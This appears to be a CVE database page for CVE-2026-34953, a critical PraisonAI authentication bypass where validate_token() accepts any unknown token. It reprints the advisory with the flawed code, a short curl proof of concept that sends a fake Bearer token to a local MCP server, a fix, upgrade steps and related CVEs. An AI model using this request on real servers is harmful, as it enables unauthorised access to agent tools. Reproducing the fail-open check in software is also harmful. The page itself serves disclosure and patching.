Loading...
Skip to main content

CVE-2026-34953 — Vulnerability in praisonai — CVE Details

CRITICAL

PraisonAI Has Authentication Bypass via OAuthManager.validate_token()

Published June 29, 2026Updated July 13, 2026Source: osv

Summary

### Summary `OAuthManager.validate_token()` returns `True` for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities. ### Details `oauth.py:364` (source) -> `oauth.py:374` (loop miss) -> `oauth.py:381` (sink) ```python # source def validate_token(self, token: str) -> bool: for stored_token in self._tokens.values(): if stored_token.access_token == token: return not stored_token.is_expired() # sink -- _tokens is empty by default, loop never executes, falls through return True ``` ### PoC ```bash # install: pip install -e src/praisonai # start server: praisonai mcp serve --transport http-stream --port 8080 curl -s -X POST http://127.0.0.1:8080/mcp \ -H "Authorization: Bearer fake_token_abc123" \ -H "Content-Type: application/json" \ -d '{"jsonrpc":"2.0","method":"tools/list","id":1}' # expected output: 200 OK with full tool list (50+ tools) # including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.file_write ``` ### Impact Any unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to `0.0.0.0` by default with no API key required. ### Suggested Fix ```python def validate_token(self, token: str) -> bool: for stored_token in self._tokens.values(): if stored_token.access_token == token: return not stored_token.is_expired() # Unknown tokens must be rejected. # For external/JWT tokens, call the introspection endpoint here before returning. return False ```

Advisory Timeline

  • First published June 29, 2026 (105 days ago).
  • Last revised July 13, 2026 — 14 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update praisonai to 4.5.97 or later
pip install "praisonai>=4.5.97"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: pypi (1).

PackageEcosystemAffectedFixed In
praisonai
pypi
0.0.1, 0.0.10, 0.0.11, 0.0.12 (+652 more)4.5.97

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-34953?
PraisonAI Has Authentication Bypass via OAuthManager.validate_token() This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2026-34953?
CVE-2026-34953 affects praisonai. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-34953 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

PYSEC-2026-468
GHSA-98f9-fqg5-hvq5

Related CVEs

  • CVE-2026-40157
    CRITICAL

    PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`

  • CVE-2026-34934
    CRITICAL

    PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`

  • CVE-2026-34935
    CRITICAL

    PraisonAI: OS Command Injection in MCPHandler.parse_mcp_command()

  • CVE-2026-44336
    CRITICAL

    PraisonAI MCP `tools/call` path-traversal => RCE via Python `.pth` injection

  • CVE-2026-55536
    CRITICAL

    PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)

  • CVE-2026-47393
    CRITICAL

    PraisonAI `deploy --type api` emits a Flask server with authentication disabled by default

  • CVE-2026-47396
    CRITICAL

    PraisonAI call server exposes unauthenticated agent listing, invocation, and deletion when CALL_SERVER_TOKEN is unset

  • CVE-2026-57116
    CRITICAL

    PraisonAI: AgentOS remains unauthenticated after incomplete fix version and allows remote agent invocation

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies